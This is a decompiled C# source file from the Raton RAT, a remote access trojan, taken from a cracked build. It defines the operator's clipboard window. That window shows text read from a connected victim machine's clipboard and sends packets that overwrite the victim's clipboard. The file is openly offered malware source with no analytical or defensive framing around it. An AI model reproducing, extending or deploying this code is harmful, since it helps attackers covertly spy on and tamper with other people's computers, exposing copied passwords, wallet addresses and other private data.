Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Misc/ratonClipboard.cs
T
2026-08-27 11:23:13 -06:00

156 lines
5.6 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonClipboard
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonClipboard : Form
{
private IContainer components;
private Timer timer1;
public TextBox textBox1;
private TextBox textBox2;
private RgbBuildButton button1;
private RgbBuildButton button2;
private Label label1;
private Label label2;
public SillyClient SillyClient { get; set; }
public ratonClipboard()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonClipboard_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox1.Text != null || this.textBox1.TextLength > 1)
{
Clipboard.SetText(this.textBox1.Text);
}
else
{
int num = (int) Messenger.MessageBox("The clipboard is null", "Error", icon: MessageBoxIcon.Hand);
}
}
private void button2_Click(object sender, EventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "Clipboard");
pack.SetString("Text", this.textBox2.Text);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Sent to the clipboard", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipboard));
this.timer1 = new Timer(this.components);
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.button1 = new RgbBuildButton();
this.button2 = new RgbBuildButton();
this.label1 = new Label();
this.label2 = new Label();
this.SuspendLayout();
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.textBox1.Location = new Point(14, 28);
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.Size = new Size(564, 21);
this.textBox1.TabIndex = 0;
this.textBox1.Text = "Waiting...";
this.textBox2.Location = new Point(12, 123);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(563, 21);
this.textBox2.TabIndex = 1;
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_;
this.button1.IconSize = 16 /*0x10*/;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(15, 55);
this.button1.Name = "button1";
this.button1.Size = new Size(563, 47);
this.button1.TabIndex = 2;
this.button1.Text = "Copy text";
this.button1.Click += new EventHandler(this.button1_Click);
this.button2.Cursor = Cursors.Arrow;
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
this.button2.ForeColor = Color.White;
this.button2.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_1;
this.button2.IconSize = 16 /*0x10*/;
this.button2.IconSpacing = 8;
this.button2.Location = new Point(11, 150);
this.button2.Name = "button2";
this.button2.Size = new Size(564, 47);
this.button2.TabIndex = 3;
this.button2.Text = "Send to clipboard";
this.button2.Click += new EventHandler(this.button2_Click);
this.label1.AutoSize = true;
this.label1.Location = new Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(106, 14);
this.label1.TabIndex = 4;
this.label1.Text = "Get text from client";
this.label2.AutoSize = true;
this.label2.Location = new Point(12, 105);
this.label2.Name = "label2";
this.label2.Size = new Size(100, 14);
this.label2.TabIndex = 5;
this.label2.Text = "Send text to client";
this.AutoScaleDimensions = new SizeF(7f, 14f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(589, 209);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.label1);
this.Controls.Add((Control) this.button2);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label2);
this.Font = new Font("Microsoft JhengHei UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonClipboard);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonClipboard);
this.Load += new EventHandler(this.ratonClipboard_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}